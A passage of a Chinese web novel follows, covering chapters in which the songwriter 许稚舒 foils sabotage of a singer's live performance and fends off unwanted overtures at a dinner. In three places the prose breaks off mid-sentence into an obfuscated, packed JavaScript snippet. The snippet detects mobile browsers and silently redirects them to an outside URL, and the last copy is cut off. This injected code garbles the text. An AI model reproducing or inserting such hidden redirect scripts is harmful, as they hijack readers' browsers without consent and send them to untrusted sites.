林仕咏看了一眼手腕上的表,说:“也是,我去化妆了。小贺,一会儿台上见。” 待林仕咏离开,贺漾的休息室才又回复欢声笑语。许稚舒总觉得不放心,于是找了个借口,叫走了贺漾的经纪人。 “我们去听一下林仕咏交上去的伴奏,我要确定没问题。”许稚舒完全不绕弯子。 经纪人觉得他多虑了,虽然林仕咏在这一过程中不好沟通,但伴奏样带已经给贺漾的,许稚舒也听过了,没有问题的。 见她犹豫,许稚舒说:“就当是安自己的心。” 他都这么说了,经纪人就跟他去了。 结果幸好两个人去了,当他们听到林仕咏交上去的伴奏时才发现,这是一版女声调的伴奏,贺漾根本唱不了! 20.第20章 出道这么多年,这个音高贺漾并不是完全不能唱,但会非常不舒适,也展现不了声音的特质,甚至声音的运用都会走形,显得狰狞。 贺漾的经纪人直接就爆粗口了,若说林仕咏不是故意的,她根本不信。 导播知道这个情况,也傻眼了。他可不想出舞台事故! 许稚舒立刻拿出自己之前准备好的伴奏,因为临时要跟林仕咏合作,所以这一版伴奏贺漾只听过一次。可不管怎么样,也比唱得面目全非强。 “先让今天的直播顺利进行吧。”许稚舒没声张,反而是安慰起导播。 导播的脸色比贺漾的经纪人还难看,他很清楚,如果因为伴奏不对,贺漾没表现好,台里为了给观众和粉丝一个交代,必定要找一个背锅的。 别人不知道,但导播很清楚,林仕咏是投资方的人,无论对方是有意还是无意的,节目组都不会动他。那背锅的是谁还用问吗?就算不是他,也会是他手下的人。出了这样的事,拿他手下顶包,他这个领导保不住手底下的人,以后谁敢跟他混? “幸好你们来听了伴奏,不然我今天真不好交代了。”导播由衷地感谢。 许稚舒说:“导播老师能随机应变,咱们都不打麻烦。” 贺漾的经纪人先回去跟贺漾说一声,许稚舒则一直待在导播室里,万一林仕咏折返回来,他也好应对。 直到贺漾上台,林仕咏都没有到导播室来,显然是对自己的作法很有自信。许稚舒也离开了导播室。 伴奏响起的时候,导播特地把镜头带到了林仕咏脸上。 林仕咏明显意识到伴奏被换了,脸上一僵。就这一瞬,立刻被屏幕前的观众抓住,在节目话题中发出疑惑,说林仕咏为什么看着像好像很惊讶。 贺漾发挥得很不错。 【林仕咏的编曲不错啊。】 【对呀,好几年没出过一首好歌,没想到这次节目发挥得不错。】 【漾漾演唱的时候把我紧张坏了,就怕伴奏不合适他,把他的声音压过去了。】 【今天大家的表现都很普通,贺漾发挥得算很好了。】 【都怪节目组闹的这个幺蛾子,我们是来听歌的,不是来当节目话题度的一环的,想想就恶心。】 【希望只有这一期,一下期如果还这样,我就弃了。】 贺漾唱完,蒋随来到台上,照例问他:“与林仕咏老师的合作感觉怎么样?” 贺漾嘴角一挑,今天他穿了一身重工衬衫,上面镶嵌的宝石让他气场又上一层楼。 “我不得不实话实说,让大家失望了。我的伴奏并不是林仕咏老师的那一版。”贺漾没惯毛病,直接说实话。 台下立刻一片哗然,导播非常不厚道地又把镜头切给了林仕咏。此时林仕咏的笑容别提多别扭了,就像从童话书里走出来的丑陋男巫。 “怎么会这样?”蒋随也没想到,不过他要是什么都不问就开始打圆场,观众和贺漾的粉丝肯定都不愿意。 贺漾说:“林仕咏老师做的伴奏出了问题,没办法,我只能把之前稚舒给我做的那版拿出来用。因为这是弃用的版本,我们后期并没有再磨合,做进一步地调整,所以呈现出来的并不如前两期。” 【所以林仕咏的表情是发现用的不是自己的伴奏?】 【好好的,伴奏怎么会出问题?都什么年代了。】 【从节目组整这么一出合作,我就猜肯定没那么顺。好好的节目,非要自己作。】 【幸好贺漾有备用,不然今天怎么办?现场开天窗吗?】 【我倒觉得如果伴奏有问题,贺漾应该和林仕咏一起上台说明。而不是这样突然换了伴奏。】 【呵呵,说不定是许稚舒和贺漾联手做的局,就是不让林仕咏出名呗。】 【楼上的,脑子不用可以涮火锅,谁TM会在一个直播节目上冒险啊?再说,如果不是真有问题,节目组会轻易给他换伴奏?】 网上已经吵开了,说到底还是突然加入合作这件事太遭诟病。 贺漾继续说:“我很高兴能来到这个舞台,让我的粉丝听到我唱的歌,也感谢大家对我的支持。我与这档节目的缘分就到这儿了,这一期也是我参加的最后一期。” 台下观众再次哗然,因为今天整体表现不佳,贺漾的表现反而还是比较出彩的。他现在居然主动退赛了,观众无不意外。 节目导演的脸一下就黑了,他很清楚歌手们对这次的变动都很不满,只是没撕破脸。但万万没想到,贺漾会是第一个不给面子的。 此时,辛馨来到导演身后,冷笑说:“你这脸色也够有意思的,怎么?觉得橡木电视台了不起,别人不敢得罪你?” 辛馨作为和郭枝同一时期的歌手,导演也不敢不给面子,立刻道:“哪能啊。只是年轻人太狂了,也没跟节目组商量一下。” 辛馨看向台上的目光满是欣赏:“节目口碑烂了,你以为还会有第三季?还是说你觉得第三季的导演还会是你?” 这一下就把导演说愣了,他怎么没多想一层呢?他是觉得歌手得罪不起电视台,但歌手也有自己的圈子,如果人家联合起来拒绝与橡木电视台合作,吃亏的就是电视台了。现在早已不是电视为王的时代了。 辛馨:“我看在你们台长的面子上,没说什么。但我来参加节目,不是让你们耍我玩的。这一期只退了贺漾一个,你还有交代的余地。下一期如果还有人退,我看你就别想干了。” 说完,辛馨转身就走。她有了些年纪,人情世故上顾虑就多,但看到贺漾的干脆,她也会想到年轻时候的自己。如果她是贺漾这个年纪,也绝对不会惯着节目组。艺人与节目是相互成就的关系,而不是节目组用来舔投资商的道具。 台上,蒋随立刻打圆场:“这次伴奏出问题的确是谁都没想到的。不过你的表现非常出色。只是出于规则,因为你没有用林仕咏老师的伴奏,所以不能进入投票环节了。” 他巧妙地把矛盾说成了另外一个版本,这样既不会让各方难看,又能给贺漾退赛一个非常合适的理由。 贺漾向着镜头鞠躬,许稚舒知道,这是贺漾向粉丝鞠的躬。贺漾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16505133|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在歌手中并不是独树一帜不可替代的,却是非常尊重音乐的。 随着贺漾的下台,林仕咏也下来了。 他的脸色气得发青,刚走到台后通道,就看到了等在那儿的许稚舒。 许稚舒直接走过去,越漂亮的人脸带嘲讽时,杀伤力就越大:“怎么,以为自己还有机会冒领军功?” 被戳穿了心思,林仕咏脸由青转红。他听到伴奏不对时,的确这么想过。他以为贺漾不敢张扬,如果还想在这个节目混,就不能说这编曲不是他写的。 许稚舒一把扯过林仕咏的衣领,用力把人怼到墙上,沉声道:“回去告诉杨阅,别给我玩小动作。真惹毛了我,我拼得起,他可拼不起。” 说完,许稚舒手一松,还嫌弃地甩了甩。 许稚舒把杨阅的名字拿到台面上,林仕咏立刻就明白这中间肯定有他不知道的情况。也就是说他很可能只是一枚棋子,而不是能跟纬弦共输赢的玩家。 无论出于什么原因,贺漾退赛都足以让粉丝炸锅了。伴奏出了问题,怎么看都不应该由贺漾承担后果,结果却是贺漾主动退赛。粉丝心里肯定是不服的。 与此同时,节目组并没有停止骚操作,而是通过官方账号表示贺漾在知道伴奏有问题后,并没有及时与节目组沟通,才闹出这样的问题。无论这样的公关手段是出于谁的安排,都是准备把自己摘干净了。 贺漾不可能吃了这个哑巴亏,整个事件看下来,他都是最无辜的那个。 于是在他的粉丝把节目组骂了两天后,有“知情人士”放出了林仕咏交给导播的伴奏。 初听还没觉得这个伴奏有什么问题,可当有人开始跟着哼唱才发现,这根本不是男声的音高。要是让许稚舒来唱,一点问题都没有,许稚舒并不常唱高音,可他先天是具备非常优秀的高音条件的,但贺漾本身的优势就不在高音! 这下贺漾的粉丝更炸了,连带着许稚舒的粉丝也冲了上去。之前就有黑子说这是许稚舒和贺漾连手做的局,当时许稚舒的粉丝抱着理智的态度,观察着舆论走向,都没出来说话。现在证据摆眼前了,且节目组都没出来否认,什么情况已经摆明了! 单长清和纪西卓也在百忙之中站出来挺贺漾,这下把Infinite的粉丝都集结齐了。 #贺漾被做局#、#《听一首歌》必须道歉#、#林仕咏滚出来说话#等等相关词条轮番上热搜。第三期也被称为是《听一首歌》目前做得最烂的一期。 事情就这样闹到第四期结束,热度才稍有回落。而就在第五期播出的前一天,沉默了两周的贺漾完全没有预告地发布了单曲《释然》,词、曲全部都是许稚舒。 如果说之前的《爱与不爱之间》是不甘与纠结,那这首《释然》就是结束纠结,接受遗憾,然后释然一切。 歌曲一经发布,直接空降五大排行榜。粉丝们对《听一首歌》此恨绵绵无绝期的注意力立刻被拉到新歌上,并陷入狂欢。被做局退出比赛固然不甘,但有一首空降的好歌,谁还在乎那个不做人的节目呢?成绩就是最好的打脸方式! 21.第21章 一首歌直接把贺漾退出节目带来的损失完全拉了回来。就连节目组某些想看贺漾笑话,希望从此没有电视台敢用贺漾,从而确认电视台还没有从权力位上退下来的人,此刻也都说不出话来了。 成绩摆在那里,只要还想留住市场,就得摆正自己的位置。该低头就要低头。 而此时,但凡能多看一层的,都会把注意力放到许稚舒身上。 能在这么短的时间内制作出这样一首歌,无论是早有准备,还是临时起意,都说明许稚舒不仅有才华,还足够有脑子。知道怎么做才能让贺漾利益最大化,既不丢市场,还能借风而上。 表面看是贺漾主动退赛,打头阵背负面舆论的都是贺漾,可如果没有许稚舒这个后盾,或者说如果两个人不是足够信任对方,走这一步棋的时候肯定都会犹豫。 可实事是两个人赢了。不仅让贺漾耿直的形象站住了脚,还拿出了足够好看的成绩,巩固了贺漾“只选对的”这一正面印象。贺漾在大众心里越正向,可信度就越高,形象也会越好。这样的人会非常受品牌方青睐,也会成为官方愿意合作的对象。 果然,橡木电视台无论是处于什么理由,还是转发了贺漾的新歌,并给出了很高的评价。 蒋随和辛馨也用私人账号做了转发,有他们带头,参加节目的歌手也纷纷转发。 贺漾一时之间风头无两,比在Infinite时期的成功感还要强烈,毕竟现在台前所有的支持和荣誉都是他一个人的。 他兴奋地给许稚舒打电话。而许稚舒因为连轴转给他做《释然》这首歌,现在完全进入了休息期,根本没精力跟他分享喜悦,只想睡觉。 贺漾也不再打扰他,等他休息好了再说。 许稚舒休息了两天,总算从疲累中缓了过来。如果不是要借机出口气,他也不会这么拼。《释然》成绩越好,越证明贺漾退赛是正确的。而越是正确,越衬托得《听一首歌》的临时决策是个小丑把戏。 许稚舒要嘲讽的并不是节目组,而是搞出这场闹剧的杨阅。无论对方到底目的如何,做出这种决策足以证明他摆不清自己的位置。 而预料之中,第五期结束后,与音乐人合作的计划也随之结束了。节目又回归到了前两期的模式。只不过这些都跟许稚舒和贺漾无关了。 * 下午,许稚舒喝着李瑶学着煮的热姜茶,坐在音乐室里听歌。这几天工作不忙,下午他会抽出些时间听自己收藏的一些老歌。 经典老歌就是什么时候听都不过时,尤其隔上一段时间再听,脑子里能跳出非常多的画面,怎么听都不会腻烦。 手机响了一下,许稚舒随手拿过来,是蒋随发来的消息。 贺漾退赛之后,两个人跟蒋随都没再有联系。不过蒋随转发了贺漾的新歌,也算很给面子了。 蒋随:周三有时间吗?我要到源海市,想和你一起吃个饭。 许稚舒并不是非同意不可,可想到之前规则有变,对方第一时间通知了他。蒋随也说过有空到源海市找他吃饭。与情与理,他都应该露一面,不能让人觉得他用人在前,不用人在后。 许稚舒:晚饭可以吗?白天有工作。 蒋随:可以。 许稚舒:餐厅我来订,蒋老师有什么忌口吗? 蒋随:没有,我都可以。 那天蒋随在台上应对得很好,哪一方都没有得罪,虽然后来贺漾那边通过“知情人士”的方式,把伴奏给放了出去。但并不影响蒋随那天控场的优秀表现。 不过也是通过这件事,许稚舒确定自己跟蒋随并不是一路人。在娱乐圈里,圆滑是没错的,但自己是什么样的人就跟什么样的人来往,这是许稚舒多年来的经验总结。他佩服能随机应变,处事圆滑的人,却不大愿意跟这样的人深交。 这样的人说出的话,做出的事,真假难辨。他不想让自己活得这么累,他都转到幕后了,就是想过简单的、真诚的生活。身边的朋友不用多,与他是一样的人最要紧。 周三,许稚舒按原计划来到初黎娱乐,检查Breeze的练习成果。如果没有问题,就可以进录音棚了。 短时间内手握两首热曲,初黎的工作人员都想把许稚舒供起来。在许稚舒来之前,还特地叮嘱了Breeze成员好几次,要好好表现,千万别让许稚舒失望。 路煌接手初黎后,虽然没有裁员,但他们心里很清楚,如果做不出成绩,路煌是不可能养闲人的。而Breeze的出道就是最好地证明他们不是闲人的机会。 “许老师,孩子们都准备好了。”负责人亲自来接的他。 许稚舒点点头:“这段时间辛苦大家了,我有点忙,中间没空出时间来看一眼。” 他不来当然是可以的,但既然是合作,该客气也是要客气的。都是为了Breeze的出道,哪一个环节都不能说人家就应该不受感谢只出力。 “我给大家带了咖啡,麻烦找个人帮我助理拎一下。”许稚舒在这方面是不差事的。 “我来我来。” “我也帮忙。” 跟着负责人一起下来的立刻主动去帮着提咖啡了。 一行人直接来到练习室。所有跟Breeze出道有关的工作人员也都聚齐了。每个拿了一杯咖啡,有序地坐好。 许稚舒和负责人坐在最前面。 没一会儿,助理带着五个男生走了进来。和最开始许稚舒看到的照片和表演片段相比,五个男生已经开始有造型感了。这也意味着他们出道时间正在逐步逼近。 今天他们要呈现三次表演,一次纯唱,一次舞蹈版,还有一次唱跳一起的。可以让许稚舒从各个维度了解这五个人的实力。 五位成员明显是下了工夫的。三次表演下来,作为一个新团来说,许稚舒是满意的。现在就让Breeze拿出完美的状态实在不现实,只要能够达到出道的标准就好。其中有一两个出色的成员就足够了。 后续随着每一次回归,每个人都能有进步,这样粉丝才会有陪伴感和成就感,也是固粉的方式之一。 “如果没有什么问题,后天进录音棚吧。”许稚舒说。 成员们一脸惊喜,相互看着,忍不住挥了挥拳,表达自己的开心。 看到新一代的孩子们表现出的活力,许稚舒打心底里高兴。热爱音乐的人,就应该是这样的。 之后许稚舒跟着大部队来到会议室,他们要确定最终版本的出道前宣传方案和具体时间。 一直忙到四点半,会议终于结束了。 许稚舒给蒋随发了信息,确定他是否有时间上的变化。 蒋随表示自己随时可以出发。 在源海市,自己是主,蒋随是客,所以许稚舒安排了乐言开车去接蒋随。等接上蒋随再过来接他。 许稚舒趁空又跟五位成员聊了一会儿,让他们这两天保护好嗓子,后天在他的工作室见。 乐言的电话打来,说自己已经到楼下了。 许稚舒跟负责人打了个招呼,就下楼去了。 蒋随今天穿了一件黑色的羽绒外套,并没坐在车里等,而是站在了车边。 许稚舒赶紧走过去,源海市可不比橡木市暖和,吹多了冷风容易头疼。 “蒋老师怎么下车了。”许稚舒给他拉开车门。 蒋随笑得特别灿烂:“想看看初黎娱乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511356|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的大楼,听说建得很好看,果然不错。” “蒋老师还是上车吧,今天可不暖和,当心感冒。” 蒋随刚要上车,一辆迈巴赫就停在了许稚舒的车子后面。许稚舒一眼就认出是路煌的车。 今天看练习成果路煌并没到场,他也没问。没想到都到快下班的时间了,路煌倒是来了。 原本许稚舒想装没看到,等蒋随上了车就离开。没想到蒋随好奇心还挺重,居然站在车边往后看。 没几秒,迈巴赫的门就打开了,路煌从车上下来。 “真巧啊。”这话蒋随是对许稚舒说的。 许稚舒心道:你要不下车,就没这么巧了。 路煌脸色并不好看,看到蒋随和许稚舒在一起,他要是能有好脸色都要封自己为神人了。 不过他自己都去跟人相亲了,也实在没脸管许稚舒跟谁接触。醋劲儿压不住也得往肚子里咽,不能把情绪传递给许稚舒。 “蒋老师,初次见面。”路煌对蒋随也是只在电视上见过,未见过本人。 “路少。”蒋随非常会挑称呼,现在叫路少是最错不了的。 路煌脸上看不出情绪,像是非常随意地问:“蒋老师怎么跟稚舒一起?” “我们约了一起吃饭。”蒋随笑道,“早知道会遇上路少,应该请稚舒叫上你的。” “恐怕要让蒋老师失望了,我今天的工作还没结束。”跟蒋随说着话,路煌的眼睛却是向看许稚舒的。 许稚舒不知道是不是因为光线太暗的关系,他觉得路煌脸色不太好,黑眼圈也有点重。不像是路煌素日那种万事都难不到他的样子。 “路少也太忙了。”蒋随笑说。 “没办法。”路煌根来就不是想跟蒋随聊天的,便道:“我有点工作上的事跟稚舒说,能否耽误一点时间?” “当然。”这种小事,蒋随没有不同意的理由。初黎易主虽没有大张旗鼓地对外宣布,但像他这种关系网多的,早就知道了。 无奈,许稚舒只好跟着去了路煌车子那边。 “今天的工作都忙完了?”路煌有点没话找话的感觉。 “嗯,都敲定了。”工作顺利,许稚舒心情还不错。 “还没恭喜你,又写出了精品。” 许稚舒一笑:“谢谢。” 路煌看着他,不说话了。 许稚舒再次面对路煌,已经不那么纠结了,就像他写歌的历程一样,走过了,就过了吧。 “你最近没睡好?”实在很难无视路煌的脸色,许稚舒问道。 正常来说,路煌是不会让许稚舒担心的。可想到许稚舒接下来要跟蒋随一起吃饭,他心里怎么都不舒服,便说:“嗯,最近失眠有点严重。” 许稚舒诧异:“工作压力太大了?” 路煌只是看着他,并没回答。 如果是之前,许稚舒多半就猜出他的意思了。但现在,许稚舒即便思绪有一瞬间往那个方向飞过去,也立刻又被他扯了回来。他知道答案了,但又不想承认这个答案。 “注意身体。如果失眠时间太长,还是去医院看看吧。”许稚舒不准备多留,“Breeze的工作已经沟通好了,你有任何问题可以去问负责人。我还有事,就先走了。” 路煌很想找借口留住他,可完全找不到。他一边想借失眠获取许稚舒的关注,一边又在心里骂自己还是放不下许稚舒。 “好,有需要帮忙的就给我打电话。”最后路煌只能说出这么一句。 许稚舒微笑着点点头,就回自己车上了。 路煌看着车子开走,长长地叹了口气,连外面的冷都感受不到,就这么站在原地许久。 22.第22章 跟蒋随吃饭,无论是出于两个人的关系,还是礼节,许稚舒最终选定的餐厅并不是网红店,或者精致的料理。而是一家本地人常去的老字号,并不适合发朋友圈,却是老源海市人最喜欢的家乡菜的味道。 由于他们只有两个人,店里是不会给包间的。许稚舒就请他们给安排了一个角落的位置。 到店后,服务生看到两人,还特地拉了个屏风过来帮他们挡视线,不特地往他们这边看,是不会注意到的。 “这里环境虽然没那么清净,但菜的味道很不错,请蒋老师试试。”菜上齐了,许稚舒招呼蒋随吃饭。 蒋随本身就很喜欢有烟火气和当地特色的饭店,对许稚舒的安排非常满意:“费心了。这家店我听说过,不提前订位都吃不上。” 许稚舒微笑说:“每个地方有每个地方的特色,外地人不一定吃得惯,但尝个新鲜也不错。” 蒋随点头,每一样菜都尝了一遍:“虽然和橡木市的菜系比,这边稍显得清淡了一些,不过每道菜都很下饭。” “的确。蒋老师多吃些。”许稚舒劝菜,“蒋老师到源海市来是有活动要参加?” 如果完全不问,席间的话题的确难找。许稚舒也懒得想那么多,只要不涉及隐私,问一句也是可以的。 “不是,我是跟着《听一首歌》节目组的人来的。”蒋随答。 许稚舒随即就问:“是要在这边搞分会场?” 不然许稚舒想不出节目组跑这边来干什么。总不至于是结束了与音乐人的合作后,又搞出新的幺蛾子吧? “说出来你肯定都想不到。”蒋随的笑容复杂起来,“节目组想请贺漾回去做特别嘉宾。现在《释然》这首爆了,电视台上层原本对节目组听投资商的行为睁一只眼闭一只眼,这会儿发现原本应该能让橡木电视台占最大便宜的事,就这么被搞得只剩下挨骂了。这不,台长发了好大一通火,让节目组务必挽回损失,跟贺漾搞好关系。求也得求贺漾回来上一次橡木台的节目。” 许稚舒毫不意外。这就是有成绩的底气。说句不好听的,没成绩的时候,谁都可以踩一脚,等有成绩了,就是别人趴那儿让你踩。话的确难听,可在这个圈子里就是这个理。 “蒋老师是被叫来当中间人的?”许稚舒笑意里都是轻松,以他对贺漾的了解,贺漾肯定不会去。何况现在贺漾的行程满得很。 “的确。不过我也知道这事成不了,权当是公费旅行了,卖台长个面子。” 许稚舒:“既然蒋老师心里有数,那就不用我帮着解释了。” 蒋随是个聪明人,他既然知道结果,那贺漾的决定就不算不给面子。 “你对贺漾这么关心,看来你们的关系比粉丝们了解的更好。”蒋随吃得不快,边吃边聊也让气氛更为舒适。 “毕竟这么多年相互扶持的感情。”许稚舒没有深解释。若是往深里说,他们五个人里但凡有一个能搅和的,路煌都不会选择在第一期合约结束后续约。 “我之前私下八卦,问他你有没有谈恋爱,他说不清楚。我还以为是你们不会分享私事,现在看来以你们的友情并不至于。”蒋随看着许稚舒。 许稚舒看懂了蒋随的眼神,蒋随的试探算是很直白了,对一个人有意思的眼神只要对方想表现,说完全感觉不到是有点扯的,何况他们又不是小孩子的。 “的确,如果有合适的人,我会跟他讲。”抛开路煌这个意外,许稚舒自认对感情是非常谨慎的。 “那你喜欢什么样的?”蒋随追问。 许稚舒佯装思考了片刻,说:“凭空去想我也说不上来。大概遇上了就知道了吧。” 他的拒绝已经很明显了。假如蒋随是他的理想型,他就不会说这番话。 蒋随笑意明显淡了几分,想必是听懂了许稚舒的意思,但还是说:“多相处也能生出感情吧。” 许稚舒慢慢地盛着汤:“这不是工作太忙了吗?根本没有那个时间。” “这不是许稚舒吗?” 突然在近距离出现第三人的声音,让两个人同时转过头去。 郑昌穿了一件棕色夹蓝色字母花纹的毛衣,站在屏风留出的空隙中。行为跟个鬼似的,整个人看起来也比之前在生日宴上阴郁。 许稚舒微微皱眉,他可以装作不认识郑昌,可那天被刺事件闹那么大,而且许稚舒就在现场,说对郑昌完全没印象就很假了。 “郑先生?”蒋随比许稚舒先开口。 蒋随明显是知道郑昌的。想来很合理,郑昌被刺的热搜挂那么高,蒋随作为主持人,会跟各行各业的人打交道,通过热搜了解新闻也是日常会做的,能记住并认出郑昌不算意外。 郑昌嘴角一挑,那副吊儿郎当的样子让人很不适,拿眼角瞥了蒋随两眼,才问:“你是谁来着?” “我是蒋随,节目主持人。” “哦,想起来了,《听一首歌》的主持人,难怪看着眼熟。”没等蒋随再说话,郑昌的目光就转回了许稚舒身上,还顺势绕到了桌边,“你最近写得歌挺红的。有没有兴趣跟我合作?我可以给你想要的资源。亏不了你。” 许稚舒看到郑昌那张脸,就打心底里犯恶心。一个烂人,能干什么好事? “不了。”许稚舒拒绝的很果断,连个理由都没给。 郑昌的脸立刻就黑了,明显是平时被人捧惯了,接受不了别人的拒绝。哪怕他干的那些烂事人尽皆知之后,郑昌都不会改掉自己的行事风格,甚至不认为自己有错。否则他也不会用这种态度跟许稚舒说话。 郑昌并没有发作,而是对蒋随道:“我要跟许稚舒单独聊聊,你先出去。” 颐指气使的态度让人听着就很恼火。许稚舒请客,郑昌却让他的客人走,到底是打谁脸呢? 可还没等许稚舒开口,蒋随就起身道:“那我先去趟洗手间,郑少慢慢聊。” 许稚舒瞬间无语住了,不过很快他又放平了心态——蒋随可能看到的人情冷暖比他多,不想影响自己的前途跟郑昌闹不愉快很正常。 等蒋随走远了,郑昌随意地拉过一边的椅子坐下,开门见山地说:“我劝你最好听我的话,我这是给你脸面。你也不想你的朋友再被搞吧?” 许稚舒立刻警觉起来:“你什么意思?” 郑昌重新露出笑容,就像条吐着信子的蛇,感官上就让人非常不适:“你以为没有我的支持,杨家能把纬弦的音乐人塞进节目? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“郑少还是先顾好自己的地位吧。听说郑夫人怀孕了?你现在跟我炫耀你的关系、你的资源。不知道如果再闹出宴会上的事,郑先生还会不会偏袒你。以前郑先生没得选,郑家的一切的确都是你的。但以后可就不好说了。”许稚舒的语气全是嘲讽,一点没带客气的。 郑昌的脸立刻扭曲了。他比任何人都痛恨有人跟他争家产,所以他要尽快站稳脚跟。可他没想到许稚舒居然知道了这个消息,这就让他很难拿捏住许稚舒了。 郑昌的手机响了,他恶狠狠地瞪了许稚舒一眼,就起身上楼去了。想来郑昌在楼上应该有局,而且能来这里的多半是长辈局,他不能不陪。 郑昌走了没多会儿,蒋随就回来了。 “聊完了?”蒋随表情自然地坐下,问。 许稚舒微微点头,根本不想再沾跟郑昌有关的话题。 蒋随似乎没有发现这点,继续问:“是要跟郑少合作吗?” 许稚舒收了笑意,反问他:“你觉得我应该跟他合作?” “郑家在投资这一块眼光很好,或许对你有帮助。”蒋随说。 许稚舒一时倒无法从蒋随的表情中分辨他究竟是真心这么认为,还是试探他的态度。 不过无论是哪一种,许稚舒都不在意。既然蒋随能提到郑家的投资,又能第一时间认出郑昌,哪怕他没看到热搜,许稚舒也不相信他对郑昌的为人没有任何耳闻。 面对郑昌这样的人,蒋随居然会说出可能对他有帮助,就再次证实了他们根本不是一类人。 此时许稚舒对蒋随已经厌烦了。蒋随躲去洗手间,许稚舒尚能理解成趋利避害。可后续的行为许稚舒只能说蒋随聪明、圆滑,但本心里可能认为娱乐圈就是个泥潭,没人能干净着走出来,所以只要有利可图,跟什么样的人合作都不意外。 蒋随没把娱乐圈的人当一个正常的人来看,这样的人许稚舒也看不上。 23.第23章 越是有对比,越能知道路煌的可贵。路煌从来没有误解过许稚舒的为人,不仅是对他,对团队的所有人,路煌都不会把对方放进为了利益,可以出卖自身这个框架里。除非对方真的这样做的,而这样的人,路煌也不会留在身边。 所以当天晚上,许稚舒失眠了。他想他这辈子恐怕再难遇到路煌这样的人了。如果因此孤独终老,他好像也没有觉得害怕。人年轻的时候不能遇到太惊艳的人,否则就要为这样的相遇付出代价。可这个人是路煌,那许稚舒甘之如饴。 大概也知道自己表现得很拉胯,那之后蒋随就没再联络过许稚舒。许稚舒也落得舒心。 如他所料,贺漾并没有答应去橡木市做节目的特邀嘉宾。跟左思珈一样,从歌曲红了之后,所有人都吻了上来,好机会多得是,没必要在不值得的人和事上浪费时间。 Breeze的新歌录音在许稚舒的工作室完成。由于前期准备很充足,录制过程非常顺利。 工作一旦顺起来,那就是一顺百顺。许稚舒赶在十二月初把制作好的成品交付给初黎娱乐。他们第一次合作到这里就算正式完成了。后续Breeze的出道工作就没有需要许稚舒参与的了。 结束了这项工作,许稚舒今年的工作也准备告一段落了。下半个月他准备给自己和乐言、李瑶放一个为期两周的年假,元旦后再重新开工。 在休假前,许稚舒准备带两个人搞个聚餐,就算工作室人不多,该做的也不能将就。这是从Infinite时期留下来的习惯,每年十二月份会找一天搞年末聚会,所有工作人员都会参加,由Infinite的成员们请客。 贺漾也保留了这个传统,知道他工作室就三个人,打电话来问要不要一起,人多热闹。 许稚舒立刻就答应了。贺漾身边不少工作人员也是之前的,跟乐言和李瑶都熟,一起也有话题聊。 于是聚餐地点就定在了盛夏会馆。 盛夏会馆是源海市的销金窟,只接待会员,而要成为会员,要求也很严格。许稚舒的会员还是当初路煌给他办的。 想到第一次跟路煌来这里,许稚舒还挺想笑的。当时他对这个会馆并不了解,听说是销金窟,本能地就觉得肯定不是正经地方。加上会馆外表弄得神神秘秘的,车子都往地下停,怎么看都不是他应该来的地方。 可实际上盛夏会馆本身并不提供任何违法服务。而且对保护客人隐私这块也做得相当到位。之所以会有桃色服务传出,是因为有客人自己带了人来,这点会馆是没法干涉的。只要不影响别人,别在会馆闹出事来,那都是客人的自由。 所以路煌常跟他说如果有重要聚会,可以首选盛夏会馆,包间的门一关,谁都打扰不到他们。就连客人到达和离开,都绝对不会与其他客人碰上面,工作人员会错开安排电梯。 所以许稚舒把年末聚会安排在这儿了,正好这里还有路煌之前存的酒,是记在他名下的,不喝掉实在浪费。 能来盛夏会馆玩,大家都很高兴。这里的包间很大,屋内的灯光可以调得很明亮。饭菜味道没得挑,价贵但量大,保证所有人都能吃饱。 许稚舒和贺漾作为各自团队的老板,并没有搞讲话那一套,大家来了就是点菜,菜上齐了就是吃,边吃边唱歌、闲聊,都不需要热场的游戏,大家就能玩得很开心。 “你们工作室什么时候放假?”贺漾端着酒杯跟许稚舒聊天。 “十五号开始放。你年底应该有跨年晚会要参加吧?”许稚舒问。他之前听贺漾提过,但记不清了。 “对,有两个跨年。圣诞节有一个品牌活动。”贺漾并不是什么工作都接,现在他需要的高规格的活动,来奠定他的咖位。咖位稳了也能起到固粉的作用,这比四处跑通告性价比高。 “安排得不错。”许稚舒与他碰了杯。越是有作品的时候越不能过度消耗,格调拉满也是一种策略。 “你呢?什么安排?”贺漾问他。 “准备出门旅行。”这是许稚舒月初才决定的。他没有家庭聚会,又想给自己一个假期。为避免出现别人跨年团圆,他独自待在家里这种容易胡思乱想的局面,旅行倒是个不错的选择。 “这个好。你准备去哪儿?”贺漾很赞同。他不了解许稚舒家里的具体情况,只知道他只有一个人。往年像跨年这样的时刻,他们团都是有安排的,不至于让许稚舒一个人。现在的确没有人能陪许稚舒,许稚舒趁机出门玩玩很合适。 许稚舒跟他说了想去的地方,听得贺漾也想跟着去了。只是翻了半天行程表,也找不出可以空五天以上的假期,只得作罢。 可能是喝了点酒,加上包间内空调温度有些高,许稚舒就离开了包间,准备去走廊尽头的休息区稍坐一会儿透透气。 “许先生。”见他出来,服务该包厢的服务生迎了上来。 许稚舒问他休息区那边有没有人。服务生说没有。他就往那边去了。 走廊上来回巡视的会馆保镖和服务生很多,即便包间没全满,也给人一种生意很好的感觉。 